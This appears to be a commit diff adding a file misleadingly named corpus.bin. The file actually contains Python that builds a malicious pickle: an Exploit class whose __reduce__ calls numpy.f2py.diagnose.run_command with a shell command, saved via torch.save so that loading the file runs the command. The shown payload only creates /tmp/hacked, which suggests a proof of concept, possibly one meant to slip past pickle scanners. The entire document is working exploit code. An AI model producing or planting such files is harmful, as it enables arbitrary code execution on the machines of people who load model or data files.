Create corpus.bin
Browse files- corpus.bin +8 -0
corpus.bin
ADDED
|
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import torch
|
| 2 |
+
|
| 3 |
+
class Exploit:
|
| 4 |
+
def __reduce__(self):
|
| 5 |
+
import numpy.f2py.diagnose
|
| 6 |
+
return numpy.f2py.diagnose.run_command, ('touch /tmp/hacked', )
|
| 7 |
+
|
| 8 |
+
torch.save(Exploit(), 'test/corpus.bin')
|